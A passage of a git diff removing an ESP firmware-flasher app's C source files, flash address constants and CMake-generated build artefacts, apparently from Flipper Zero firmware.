ms) { - furi_delay_ms(ms); -} - -void loader_port_start_timer(uint32_t ms) { - _remaining_time = ms; - furi_timer_start(timer, pdMS_TO_TICKS(1)); -} - -uint32_t loader_port_remaining_time(void) { - return _remaining_time; -} - -extern void esp_flasher_console_output_handle_rx_data_cb( - uint8_t* buf, - size_t len, - void* context); // TODO cleanup -void loader_port_debug_print(const char* str) { - if(global_app) - esp_flasher_console_output_handle_rx_data_cb((uint8_t*)str, strlen(str), global_app); -} - -void loader_port_spi_set_cs(uint32_t level) { - UNUSED(level); - // unimplemented -} - -void esp_flasher_worker_handle_rx_data_cb(uint8_t* buf, size_t len, void* context) { - UNUSED(context); - if(flash_rx_stream) { - furi_stream_buffer_send(flash_rx_stream, buf, len, 0); - } else { - // done flashing - if(global_app) esp_flasher_console_output_handle_rx_data_cb(buf, len, global_app); - } -} diff --git a/applications/external/esp_flasher/esp_flasher_worker.h b/applications/external/esp_flasher/esp_flasher_worker.h deleted file mode 100644 index 0dba16f0c..000000000 --- a/applications/external/esp_flasher/esp_flasher_worker.h +++ /dev/null @@ -1,25 +0,0 @@ -#pragma once - -#include "esp_flasher_app_i.h" -#include "esp_flasher_uart.h" -#ifndef SERIAL_FLASHER_INTERFACE_UART -#define SERIAL_FLASHER_INTERFACE_UART /* TODO why is application.fam not passing this via cdefines */ -#endif -#define SERIAL_FLASHER_RESET_HOLD_TIME_MS 100 -#define SERIAL_FLASHER_BOOT_HOLD_TIME_MS 50 -#include "esp_loader_io.h" - -#define ESP_ADDR_BOOT_S3 0x0 -#define ESP_ADDR_BOOT 0x1000 -#define ESP_ADDR_PART 0x8000 -#define ESP_ADDR_NVS 0x9000 -#define ESP_ADDR_BOOT_APP0 0xE000 -#define ESP_ADDR_APP_A 0x10000 -#define ESP_ADDR_APP_B 0x150000 - -#define ESP_ADDR_OTADATA_OFFSET_APP_A 0x0 -#define ESP_ADDR_OTADATA_OFFSET_APP_B 0x1000 - -void esp_flasher_worker_start_thread(EspFlasherApp* app); -void esp_flasher_worker_stop_thread(EspFlasherApp* app); -void esp_flasher_worker_handle_rx_data_cb(uint8_t* buf, size_t len, void* context); \ No newline at end of file diff --git a/applications/external/esp_flasher/file/sequential_file.c b/applications/external/esp_flasher/file/sequential_file.c deleted file mode 100644 index d780deb12..000000000 --- a/applications/external/esp_flasher/file/sequential_file.c +++ /dev/null @@ -1,46 +0,0 @@ -#include "sequential_file.h" - -char* sequential_file_resolve_path( - Storage* storage, - const char* dir, - const char* prefix, - const char* extension) { - if(storage == NULL || dir == NULL || prefix == NULL || extension == NULL) { - return NULL; - } - - char file_path[256]; - int file_index = 0; - - do { - if(snprintf( - file_path, sizeof(file_path), "%s/%s_%d.%s", dir, prefix, file_index, extension) < - 0) { - return NULL; - } - file_index++; - } while(storage_file_exists(storage, file_path)); - - return strdup(file_path); -} - -bool sequential_file_open( - Storage* storage, - File* file, - const char* dir, - const char* prefix, - const char* extension) { - if(storage == NULL || file == NULL || dir == NULL || prefix == NULL || extension == NULL) { - return false; - } - - char* file_path = sequential_file_resolve_path(storage, dir, prefix, extension); - if(file_path == NULL) { - return false; - } - - bool success = storage_file_open(file, file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS); - free(file_path); - - return success; -} \ No newline at end of file diff --git a/applications/external/esp_flasher/file/sequential_file.h b/applications/external/esp_flasher/file/sequential_file.h deleted file mode 100644 index 4fd4794c2..000000000 --- a/applications/external/esp_flasher/file/sequential_file.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include - -char* sequential_file_resolve_path( - Storage* storage, - const char* dir, - const char* prefix, - const char* extension); -bool sequential_file_open( - Storage* storage, - File* file, - const char* dir, - const char* prefix, - const char* extension); \ No newline at end of file diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeCCompiler.cmake b/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeCCompiler.cmake deleted file mode 100644 index c5ece7b85..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeCCompiler.cmake +++ /dev/null @@ -1,76 +0,0 @@ -set(CMAKE_C_COMPILER "/usr/bin/cc") -set(CMAKE_C_COMPILER_ARG1 "") -set(CMAKE_C_COMPILER_ID "GNU") -set(CMAKE_C_COMPILER_VERSION "9.4.0") -set(CMAKE_C_COMPILER_VERSION_INTERNAL "") -set(CMAKE_C_COMPILER_WRAPPER "") -set(CMAKE_C_STANDARD_COMPUTED_DEFAULT "11") -set(CMAKE_C_COMPILE_FEATURES "c_std_90;c_function_prototypes;c_std_99;c_restrict;c_variadic_macros;c_std_11;c_static_assert") -set(CMAKE_C90_COMPILE_FEATURES "c_std_90;c_function_prototypes") -set(CMAKE_C99_COMPILE_FEATURES "c_std_99;c_restrict;c_variadic_macros") -set(CMAKE_C11_COMPILE_FEATURES "c_std_11;c_static_assert") - -set(CMAKE_C_PLATFORM_ID "Linux") -set(CMAKE_C_SIMULATE_ID "") -set(CMAKE_C_COMPILER_FRONTEND_VARIANT "") -set(CMAKE_C_SIMULATE_VERSION "") - - - -set(CMAKE_AR "/usr/bin/ar") -set(CMAKE_C_COMPILER_AR "/usr/bin/gcc-ar-9") -set(CMAKE_RANLIB "/usr/bin/ranlib") -set(CMAKE_C_COMPILER_RANLIB "/usr/bin/gcc-ranlib-9") -set(CMAKE_LINKER "/usr/bin/ld") -set(CMAKE_MT "") -set(CMAKE_COMPILER_IS_GNUCC 1) -set(CMAKE_C_COMPILER_LOADED 1) -set(CMAKE_C_COMPILER_WORKS TRUE) -set(CMAKE_C_ABI_COMPILED TRUE) -set(CMAKE_COMPILER_IS_MINGW ) -set(CMAKE_COMPILER_IS_CYGWIN ) -if(CMAKE_COMPILER_IS_CYGWIN) - set(CYGWIN 1) - set(UNIX 1) -endif() - -set(CMAKE_C_COMPILER_ENV_VAR "CC") - -if(CMAKE_COMPILER_IS_MINGW) - set(MINGW 1) -endif() -set(CMAKE_C_COMPILER_ID_RUN 1) -set(CMAKE_C_SOURCE_FILE_EXTENSIONS c;m) -set(CMAKE_C_IGNORE_EXTENSIONS h;H;o;O;obj;OBJ;def;DEF;rc;RC) -set(CMAKE_C_LINKER_PREFERENCE 10) - -# Save compiler ABI information. -set(CMAKE_C_SIZEOF_DATA_PTR "8") -set(CMAKE_C_COMPILER_ABI "ELF") -set(CMAKE_C_LIBRARY_ARCHITECTURE "x86_64-linux-gnu") - -if(CMAKE_C_SIZEOF_DATA_PTR) - set(CMAKE_SIZEOF_VOID_P "${CMAKE_C_SIZEOF_DATA_PTR}") -endif() - -if(CMAKE_C_COMPILER_ABI) - set(CMAKE_INTERNAL_PLATFORM_ABI "${CMAKE_C_COMPILER_ABI}") -endif() - -if(CMAKE_C_LIBRARY_ARCHITECTURE) - set(CMAKE_LIBRARY_ARCHITECTURE "x86_64-linux-gnu") -endif() - -set(CMAKE_C_CL_SHOWINCLUDES_PREFIX "") -if(CMAKE_C_CL_SHOWINCLUDES_PREFIX) - set(CMAKE_CL_SHOWINCLUDES_PREFIX "${CMAKE_C_CL_SHOWINCLUDES_PREFIX}") -endif() - - - - - -set(CMAKE_C_IMPLICIT_INCLUDE_DIRECTORIES "/usr/lib/gcc/x86_64-linux-gnu/9/include;/usr/local/include;/usr/include/x86_64-linux-gnu;/usr/include") -set(CMAKE_C_IMPLICIT_LINK_LIBRARIES "gcc;gcc_s;c;gcc;gcc_s") -set(CMAKE_C_IMPLICIT_LINK_DIRECTORIES "/usr/lib/gcc/x86_64-linux-gnu/9;/usr/lib/x86_64-linux-gnu;/usr/lib;/lib/x86_64-linux-gnu;/lib") -set(CMAKE_C_IMPLICIT_LINK_FRAMEWORK_DIRECTORIES "") diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeCXXCompiler.cmake b/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeCXXCompiler.cmake deleted file mode 100644 index 278ef39ee..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeCXXCompiler.cmake +++ /dev/null @@ -1,88 +0,0 @@ -set(CMAKE_CXX_COMPILER "/usr/bin/c++") -set(CMAKE_CXX_COMPILER_ARG1 "") -set(CMAKE_CXX_COMPILER_ID "GNU") -set(CMAKE_CXX_COMPILER_VERSION "9.4.0") -set(CMAKE_CXX_COMPILER_VERSION_INTERNAL "") -set(CMAKE_CXX_COMPILER_WRAPPER "") -set(CMAKE_CXX_STANDARD_COMPUTED_DEFAULT "14") -set(CMAKE_CXX_COMPILE_FEATURES "cxx_std_98;cxx_template_template_parameters;cxx_std_11;cxx_alias_templates;cxx_alignas;cxx_alignof;cxx_attributes;cxx_auto_type;cxx_constexpr;cxx_decltype;cxx_decltype_incomplete_return_types;cxx_default_function_template_args;cxx_defaulted_functions;cxx_defaulted_move_initializers;cxx_delegating_constructors;cxx_deleted_functions;cxx_enum_forward_declarations;cxx_explicit_conversions;cxx_extended_friend_declarations;cxx_extern_templates;cxx_final;cxx_func_identifier;cxx_generalized_initializers;cxx_inheriting_constructors;cxx_inline_namespaces;cxx_lambdas;cxx_local_type_template_args;cxx_long_long_type;cxx_noexcept;cxx_nonstatic_member_init;cxx_nullptr;cxx_override;cxx_range_for;cxx_raw_string_literals;cxx_reference_qualified_functions;cxx_right_angle_brackets;cxx_rvalue_references;cxx_sizeof_member;cxx_static_assert;cxx_strong_enums;cxx_thread_local;cxx_trailing_return_types;cxx_unicode_literals;cxx_uniform_initialization;cxx_unrestricted_unions;cxx_user_literals;cxx_variadic_macros;cxx_variadic_templates;cxx_std_14;cxx_aggregate_default_initializers;cxx_attribute_deprecated;cxx_binary_literals;cxx_contextual_conversions;cxx_decltype_auto;cxx_digit_separators;cxx_generic_lambdas;cxx_lambda_init_captures;cxx_relaxed_constexpr;cxx_return_type_deduction;cxx_variable_templates;cxx_std_17;cxx_std_20") -set(CMAKE_CXX98_COMPILE_FEATURES "cxx_std_98;cxx_template_template_parameters") -set(CMAKE_CXX11_COMPILE_FEATURES "cxx_std_11;cxx_alias_templates;cxx_alignas;cxx_alignof;cxx_attributes;cxx_auto_type;cxx_constexpr;cxx_decltype;cxx_decltype_incomplete_return_types;cxx_default_function_template_args;cxx_defaulted_functions;cxx_defaulted_move_initializers;cxx_delegating_constructors;cxx_deleted_functions;cxx_enum_forward_declarations;cxx_explicit_conversions;cxx_extended_friend_declarations;cxx_extern_templates;cxx_final;cxx_func_identifier;cxx_generalized_initializers;cxx_inheriting_constructors;cxx_inline_namespaces;cxx_lambdas;cxx_local_type_template_args;cxx_long_long_type;cxx_noexcept;cxx_nonstatic_member_init;cxx_nullptr;cxx_override;cxx_range_for;cxx_raw_string_literals;cxx_reference_qualified_functions;cxx_right_angle_brackets;cxx_rvalue_references;cxx_sizeof_member;cxx_static_assert;cxx_strong_enums;cxx_thread_local;cxx_trailing_return_types;cxx_unicode_literals;cxx_uniform_initialization;cxx_unrestricted_unions;cxx_user_literals;cxx_variadic_macros;cxx_variadic_templates") -set(CMAKE_CXX14_COMPILE_FEATURES "cxx_std_14;cxx_aggregate_default_initializers;cxx_attribute_deprecated;cxx_binary_literals;cxx_contextual_conversions;cxx_decltype_auto;cxx_digit_separators;cxx_generic_lambdas;cxx_lambda_init_captures;cxx_relaxed_constexpr;cxx_return_type_deduction;cxx_variable_templates") -set(CMAKE_CXX17_COMPILE_FEATURES "cxx_std_17") -set(CMAKE_CXX20_COMPILE_FEATURES "cxx_std_20") - -set(CMAKE_CXX_PLATFORM_ID "Linux") -set(CMAKE_CXX_SIMULATE_ID "") -set(CMAKE_CXX_COMPILER_FRONTEND_VARIANT "") -set(CMAKE_CXX_SIMULATE_VERSION "") - - - -set(CMAKE_AR "/usr/bin/ar") -set(CMAKE_CXX_COMPILER_AR "/usr/bin/gcc-ar-9") -set(CMAKE_RANLIB "/usr/bin/ranlib") -set(CMAKE_CXX_COMPILER_RANLIB "/usr/bin/gcc-ranlib-9") -set(CMAKE_LINKER "/usr/bin/ld") -set(CMAKE_MT "") -set(CMAKE_COMPILER_IS_GNUCXX 1) -set(CMAKE_CXX_COMPILER_LOADED 1) -set(CMAKE_CXX_COMPILER_WORKS TRUE) -set(CMAKE_CXX_ABI_COMPILED TRUE) -set(CMAKE_COMPILER_IS_MINGW ) -set(CMAKE_COMPILER_IS_CYGWIN ) -if(CMAKE_COMPILER_IS_CYGWIN) - set(CYGWIN 1) - set(UNIX 1) -endif() - -set(CMAKE_CXX_COMPILER_ENV_VAR "CXX") - -if(CMAKE_COMPILER_IS_MINGW) - set(MINGW 1) -endif() -set(CMAKE_CXX_COMPILER_ID_RUN 1) -set(CMAKE_CXX_SOURCE_FILE_EXTENSIONS C;M;c++;cc;cpp;cxx;m;mm;CPP) -set(CMAKE_CXX_IGNORE_EXTENSIONS inl;h;hpp;HPP;H;o;O;obj;OBJ;def;DEF;rc;RC) - -foreach (lang C OBJC OBJCXX) - if (CMAKE_${lang}_COMPILER_ID_RUN) - foreach(extension IN LISTS CMAKE_${lang}_SOURCE_FILE_EXTENSIONS) - list(REMOVE_ITEM CMAKE_CXX_SOURCE_FILE_EXTENSIONS ${extension}) - endforeach() - endif() -endforeach() - -set(CMAKE_CXX_LINKER_PREFERENCE 30) -set(CMAKE_CXX_LINKER_PREFERENCE_PROPAGATES 1) - -# Save compiler ABI information. -set(CMAKE_CXX_SIZEOF_DATA_PTR "8") -set(CMAKE_CXX_COMPILER_ABI "ELF") -set(CMAKE_CXX_LIBRARY_ARCHITECTURE "x86_64-linux-gnu") - -if(CMAKE_CXX_SIZEOF_DATA_PTR) - set(CMAKE_SIZEOF_VOID_P "${CMAKE_CXX_SIZEOF_DATA_PTR}") -endif() - -if(CMAKE_CXX_COMPILER_ABI) - set(CMAKE_INTERNAL_PLATFORM_ABI "${CMAKE_CXX_COMPILER_ABI}") -endif() - -if(CMAKE_CXX_LIBRARY_ARCHITECTURE) - set(CMAKE_LIBRARY_ARCHITECTURE "x86_64-linux-gnu") -endif() - -set(CMAKE_CXX_CL_SHOWINCLUDES_PREFIX "") -if(CMAKE_CXX_CL_SHOWINCLUDES_PREFIX) - set(CMAKE_CL_SHOWINCLUDES_PREFIX "${CMAKE_CXX_CL_SHOWINCLUDES_PREFIX}") -endif() - - - - - -set(CMAKE_CXX_IMPLICIT_INCLUDE_DIRECTORIES "/usr/include/c++/9;/usr/include/x86_64-linux-gnu/c++/9;/usr/include/c++/9/backward;/usr/lib/gcc/x86_64-linux-gnu/9/include;/usr/local/include;/usr/include/x86_64-linux-gnu;/usr/include") -set(CMAKE_CXX_IMPLICIT_LINK_LIBRARIES "stdc++;m;gcc_s;gcc;c;gcc_s;gcc") -set(CMAKE_CXX_IMPLICIT_LINK_DIRECTORIES "/usr/lib/gcc/x86_64-linux-gnu/9;/usr/lib/x86_64-linux-gnu;/usr/lib;/lib/x86_64-linux-gnu;/lib") -set(CMAKE_CXX_IMPLICIT_LINK_FRAMEWORK_DIRECTORIES "") diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeDetermineCompilerABI_C.bin b/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeDetermineCompilerABI_C.bin deleted file mode 100644 index 35de1468e..000000000 Binary files a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeDetermineCompilerABI_C.bin and /dev/null differ diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeDetermineCompilerABI_CXX.bin b/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeDetermineCompilerABI_CXX.bin deleted file mode 100644 index 9cba7ec76..000000000 Binary files a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeDetermineCompilerABI_CXX.bin and /dev/null differ diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeSystem.cmake b/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeSystem.cmake deleted file mode 100644 index 0ad36cc9a..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CMakeSystem.cmake +++ /dev/null @@ -1,15 +0,0 @@ -set(CMAKE_HOST_SYSTEM "Linux-5.10.16.3-microsoft-standard-WSL2") -set(CMAKE_HOST_SYSTEM_NAME "Linux") -set(CMAKE_HOST_SYSTEM_VERSION "5.10.16.3-microsoft-standard-WSL2") -set(CMAKE_HOST_SYSTEM_PROCESSOR "x86_64") - - - -set(CMAKE_SYSTEM "Linux-5.10.16.3-microsoft-standard-WSL2") -set(CMAKE_SYSTEM_NAME "Linux") -set(CMAKE_SYSTEM_VERSION "5.10.16.3-microsoft-standard-WSL2") -set(CMAKE_SYSTEM_PROCESSOR "x86_64") - -set(CMAKE_CROSSCOMPILING "FALSE") - -set(CMAKE_SYSTEM_LOADED 1) diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdC/CMakeCCompilerId.c b/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdC/CMakeCCompilerId.c deleted file mode 100644 index d884b5090..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdC/CMakeCCompilerId.c +++ /dev/null @@ -1,671 +0,0 @@ -#ifdef __cplusplus -# error "A C++ compiler has been selected for C." -#endif - -#if defined(__18CXX) -# define ID_VOID_MAIN -#endif -#if defined(__CLASSIC_C__) -/* cv-qualifiers did not exist in K&R C */ -# define const -# define volatile -#endif - - -/* Version number components: V=Version, R=Revision, P=Patch - Version date components: YYYY=Year, MM=Month, DD=Day */ - -#if defined(__INTEL_COMPILER) || defined(__ICC) -# define COMPILER_ID "Intel" -# if defined(_MSC_VER) -# define SIMULATE_ID "MSVC" -# endif -# if defined(__GNUC__) -# define SIMULATE_ID "GNU" -# endif - /* __INTEL_COMPILER = VRP */ -# define COMPILER_VERSION_MAJOR DEC(__INTEL_COMPILER/100) -# define COMPILER_VERSION_MINOR DEC(__INTEL_COMPILER/10 % 10) -# if defined(__INTEL_COMPILER_UPDATE) -# define COMPILER_VERSION_PATCH DEC(__INTEL_COMPILER_UPDATE) -# else -# define COMPILER_VERSION_PATCH DEC(__INTEL_COMPILER % 10) -# endif -# if defined(__INTEL_COMPILER_BUILD_DATE) - /* __INTEL_COMPILER_BUILD_DATE = YYYYMMDD */ -# define COMPILER_VERSION_TWEAK DEC(__INTEL_COMPILER_BUILD_DATE) -# endif -# if defined(_MSC_VER) - /* _MSC_VER = VVRR */ -# define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) -# define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) -# endif -# if defined(__GNUC__) -# define SIMULATE_VERSION_MAJOR DEC(__GNUC__) -# elif defined(__GNUG__) -# define SIMULATE_VERSION_MAJOR DEC(__GNUG__) -# endif -# if defined(__GNUC_MINOR__) -# define SIMULATE_VERSION_MINOR DEC(__GNUC_MINOR__) -# endif -# if defined(__GNUC_PATCHLEVEL__) -# define SIMULATE_VERSION_PATCH DEC(__GNUC_PATCHLEVEL__) -# endif - -#elif defined(__PATHCC__) -# define COMPILER_ID "PathScale" -# define COMPILER_VERSION_MAJOR DEC(__PATHCC__) -# define COMPILER_VERSION_MINOR DEC(__PATHCC_MINOR__) -# if defined(__PATHCC_PATCHLEVEL__) -# define COMPILER_VERSION_PATCH DEC(__PATHCC_PATCHLEVEL__) -# endif - -#elif defined(__BORLANDC__) && defined(__CODEGEARC_VERSION__) -# define COMPILER_ID "Embarcadero" -# define COMPILER_VERSION_MAJOR HEX(__CODEGEARC_VERSION__>>24 & 0x00FF) -# define COMPILER_VERSION_MINOR HEX(__CODEGEARC_VERSION__>>16 & 0x00FF) -# define COMPILER_VERSION_PATCH DEC(__CODEGEARC_VERSION__ & 0xFFFF) - -#elif defined(__BORLANDC__) -# define COMPILER_ID "Borland" - /* __BORLANDC__ = 0xVRR */ -# define COMPILER_VERSION_MAJOR HEX(__BORLANDC__>>8) -# define COMPILER_VERSION_MINOR HEX(__BORLANDC__ & 0xFF) - -#elif defined(__WATCOMC__) && __WATCOMC__ < 1200 -# define COMPILER_ID "Watcom" - /* __WATCOMC__ = VVRR */ -# define COMPILER_VERSION_MAJOR DEC(__WATCOMC__ / 100) -# define COMPILER_VERSION_MINOR DEC((__WATCOMC__ / 10) % 10) -# if (__WATCOMC__ % 10) > 0 -# define COMPILER_VERSION_PATCH DEC(__WATCOMC__ % 10) -# endif - -#elif defined(__WATCOMC__) -# define COMPILER_ID "OpenWatcom" - /* __WATCOMC__ = VVRP + 1100 */ -# define COMPILER_VERSION_MAJOR DEC((__WATCOMC__ - 1100) / 100) -# define COMPILER_VERSION_MINOR DEC((__WATCOMC__ / 10) % 10) -# if (__WATCOMC__ % 10) > 0 -# define COMPILER_VERSION_PATCH DEC(__WATCOMC__ % 10) -# endif - -#elif defined(__SUNPRO_C) -# define COMPILER_ID "SunPro" -# if __SUNPRO_C >= 0x5100 - /* __SUNPRO_C = 0xVRRP */ -# define COMPILER_VERSION_MAJOR HEX(__SUNPRO_C>>12) -# define COMPILER_VERSION_MINOR HEX(__SUNPRO_C>>4 & 0xFF) -# define COMPILER_VERSION_PATCH HEX(__SUNPRO_C & 0xF) -# else - /* __SUNPRO_CC = 0xVRP */ -# define COMPILER_VERSION_MAJOR HEX(__SUNPRO_C>>8) -# define COMPILER_VERSION_MINOR HEX(__SUNPRO_C>>4 & 0xF) -# define COMPILER_VERSION_PATCH HEX(__SUNPRO_C & 0xF) -# endif - -#elif defined(__HP_cc) -# define COMPILER_ID "HP" - /* __HP_cc = VVRRPP */ -# define COMPILER_VERSION_MAJOR DEC(__HP_cc/10000) -# define COMPILER_VERSION_MINOR DEC(__HP_cc/100 % 100) -# define COMPILER_VERSION_PATCH DEC(__HP_cc % 100) - -#elif defined(__DECC) -# define COMPILER_ID "Compaq" - /* __DECC_VER = VVRRTPPPP */ -# define COMPILER_VERSION_MAJOR DEC(__DECC_VER/10000000) -# define COMPILER_VERSION_MINOR DEC(__DECC_VER/100000 % 100) -# define COMPILER_VERSION_PATCH DEC(__DECC_VER % 10000) - -#elif defined(__IBMC__) && defined(__COMPILER_VER__) -# define COMPILER_ID "zOS" - /* __IBMC__ = VRP */ -# define COMPILER_VERSION_MAJOR DEC(__IBMC__/100) -# define COMPILER_VERSION_MINOR DEC(__IBMC__/10 % 10) -# define COMPILER_VERSION_PATCH DEC(__IBMC__ % 10) - -#elif defined(__ibmxl__) && defined(__clang__) -# define COMPILER_ID "XLClang" -# define COMPILER_VERSION_MAJOR DEC(__ibmxl_version__) -# define COMPILER_VERSION_MINOR DEC(__ibmxl_release__) -# define COMPILER_VERSION_PATCH DEC(__ibmxl_modification__) -# define COMPILER_VERSION_TWEAK DEC(__ibmxl_ptf_fix_level__) - - -#elif defined(__IBMC__) && !defined(__COMPILER_VER__) && __IBMC__ >= 800 -# define COMPILER_ID "XL" - /* __IBMC__ = VRP */ -# define COMPILER_VERSION_MAJOR DEC(__IBMC__/100) -# define COMPILER_VERSION_MINOR DEC(__IBMC__/10 % 10) -# define COMPILER_VERSION_PATCH DEC(__IBMC__ % 10) - -#elif defined(__IBMC__) && !defined(__COMPILER_VER__) && __IBMC__ < 800 -# define COMPILER_ID "VisualAge" - /* __IBMC__ = VRP */ -# define COMPILER_VERSION_MAJOR DEC(__IBMC__/100) -# define COMPILER_VERSION_MINOR DEC(__IBMC__/10 % 10) -# define COMPILER_VERSION_PATCH DEC(__IBMC__ % 10) - -#elif defined(__PGI) -# define COMPILER_ID "PGI" -# define COMPILER_VERSION_MAJOR DEC(__PGIC__) -# define COMPILER_VERSION_MINOR DEC(__PGIC_MINOR__) -# if defined(__PGIC_PATCHLEVEL__) -# define COMPILER_VERSION_PATCH DEC(__PGIC_PATCHLEVEL__) -# endif - -#elif defined(_CRAYC) -# define COMPILER_ID "Cray" -# define COMPILER_VERSION_MAJOR DEC(_RELEASE_MAJOR) -# define COMPILER_VERSION_MINOR DEC(_RELEASE_MINOR) - -#elif defined(__TI_COMPILER_VERSION__) -# define COMPILER_ID "TI" - /* __TI_COMPILER_VERSION__ = VVVRRRPPP */ -# define COMPILER_VERSION_MAJOR DEC(__TI_COMPILER_VERSION__/1000000) -# define COMPILER_VERSION_MINOR DEC(__TI_COMPILER_VERSION__/1000 % 1000) -# define COMPILER_VERSION_PATCH DEC(__TI_COMPILER_VERSION__ % 1000) - -#elif defined(__FUJITSU) || defined(__FCC_VERSION) || defined(__fcc_version) -# define COMPILER_ID "Fujitsu" - -#elif defined(__ghs__) -# define COMPILER_ID "GHS" -/* __GHS_VERSION_NUMBER = VVVVRP */ -# ifdef __GHS_VERSION_NUMBER -# define COMPILER_VERSION_MAJOR DEC(__GHS_VERSION_NUMBER / 100) -# define COMPILER_VERSION_MINOR DEC(__GHS_VERSION_NUMBER / 10 % 10) -# define COMPILER_VERSION_PATCH DEC(__GHS_VERSION_NUMBER % 10) -# endif - -#elif defined(__TINYC__) -# define COMPILER_ID "TinyCC" - -#elif defined(__BCC__) -# define COMPILER_ID "Bruce" - -#elif defined(__SCO_VERSION__) -# define COMPILER_ID "SCO" - -#elif defined(__ARMCC_VERSION) && !defined(__clang__) -# define COMPILER_ID "ARMCC" -#if __ARMCC_VERSION >= 1000000 - /* __ARMCC_VERSION = VRRPPPP */ - # define COMPILER_VERSION_MAJOR DEC(__ARMCC_VERSION/1000000) - # define COMPILER_VERSION_MINOR DEC(__ARMCC_VERSION/10000 % 100) - # define COMPILER_VERSION_PATCH DEC(__ARMCC_VERSION % 10000) -#else - /* __ARMCC_VERSION = VRPPPP */ - # define COMPILER_VERSION_MAJOR DEC(__ARMCC_VERSION/100000) - # define COMPILER_VERSION_MINOR DEC(__ARMCC_VERSION/10000 % 10) - # define COMPILER_VERSION_PATCH DEC(__ARMCC_VERSION % 10000) -#endif - - -#elif defined(__clang__) && defined(__apple_build_version__) -# define COMPILER_ID "AppleClang" -# if defined(_MSC_VER) -# define SIMULATE_ID "MSVC" -# endif -# define COMPILER_VERSION_MAJOR DEC(__clang_major__) -# define COMPILER_VERSION_MINOR DEC(__clang_minor__) -# define COMPILER_VERSION_PATCH DEC(__clang_patchlevel__) -# if defined(_MSC_VER) - /* _MSC_VER = VVRR */ -# define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) -# define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) -# endif -# define COMPILER_VERSION_TWEAK DEC(__apple_build_version__) - -#elif defined(__clang__) && defined(__ARMCOMPILER_VERSION) -# define COMPILER_ID "ARMClang" - # define COMPILER_VERSION_MAJOR DEC(__ARMCOMPILER_VERSION/1000000) - # define COMPILER_VERSION_MINOR DEC(__ARMCOMPILER_VERSION/10000 % 100) - # define COMPILER_VERSION_PATCH DEC(__ARMCOMPILER_VERSION % 10000) -# define COMPILER_VERSION_INTERNAL DEC(__ARMCOMPILER_VERSION) - -#elif defined(__clang__) -# define COMPILER_ID "Clang" -# if defined(_MSC_VER) -# define SIMULATE_ID "MSVC" -# endif -# define COMPILER_VERSION_MAJOR DEC(__clang_major__) -# define COMPILER_VERSION_MINOR DEC(__clang_minor__) -# define COMPILER_VERSION_PATCH DEC(__clang_patchlevel__) -# if defined(_MSC_VER) - /* _MSC_VER = VVRR */ -# define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) -# define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) -# endif - -#elif defined(__GNUC__) -# define COMPILER_ID "GNU" -# define COMPILER_VERSION_MAJOR DEC(__GNUC__) -# if defined(__GNUC_MINOR__) -# define COMPILER_VERSION_MINOR DEC(__GNUC_MINOR__) -# endif -# if defined(__GNUC_PATCHLEVEL__) -# define COMPILER_VERSION_PATCH DEC(__GNUC_PATCHLEVEL__) -# endif - -#elif defined(_MSC_VER) -# define COMPILER_ID "MSVC" - /* _MSC_VER = VVRR */ -# define COMPILER_VERSION_MAJOR DEC(_MSC_VER / 100) -# define COMPILER_VERSION_MINOR DEC(_MSC_VER % 100) -# if defined(_MSC_FULL_VER) -# if _MSC_VER >= 1400 - /* _MSC_FULL_VER = VVRRPPPPP */ -# define COMPILER_VERSION_PATCH DEC(_MSC_FULL_VER % 100000) -# else - /* _MSC_FULL_VER = VVRRPPPP */ -# define COMPILER_VERSION_PATCH DEC(_MSC_FULL_VER % 10000) -# endif -# endif -# if defined(_MSC_BUILD) -# define COMPILER_VERSION_TWEAK DEC(_MSC_BUILD) -# endif - -#elif defined(__VISUALDSPVERSION__) || defined(__ADSPBLACKFIN__) || defined(__ADSPTS__) || defined(__ADSP21000__) -# define COMPILER_ID "ADSP" -#if defined(__VISUALDSPVERSION__) - /* __VISUALDSPVERSION__ = 0xVVRRPP00 */ -# define COMPILER_VERSION_MAJOR HEX(__VISUALDSPVERSION__>>24) -# define COMPILER_VERSION_MINOR HEX(__VISUALDSPVERSION__>>16 & 0xFF) -# define COMPILER_VERSION_PATCH HEX(__VISUALDSPVERSION__>>8 & 0xFF) -#endif - -#elif defined(__IAR_SYSTEMS_ICC__) || defined(__IAR_SYSTEMS_ICC) -# define COMPILER_ID "IAR" -# if defined(__VER__) && defined(__ICCARM__) -# define COMPILER_VERSION_MAJOR DEC((__VER__) / 1000000) -# define COMPILER_VERSION_MINOR DEC(((__VER__) / 1000) % 1000) -# define COMPILER_VERSION_PATCH DEC((__VER__) % 1000) -# define COMPILER_VERSION_INTERNAL DEC(__IAR_SYSTEMS_ICC__) -# elif 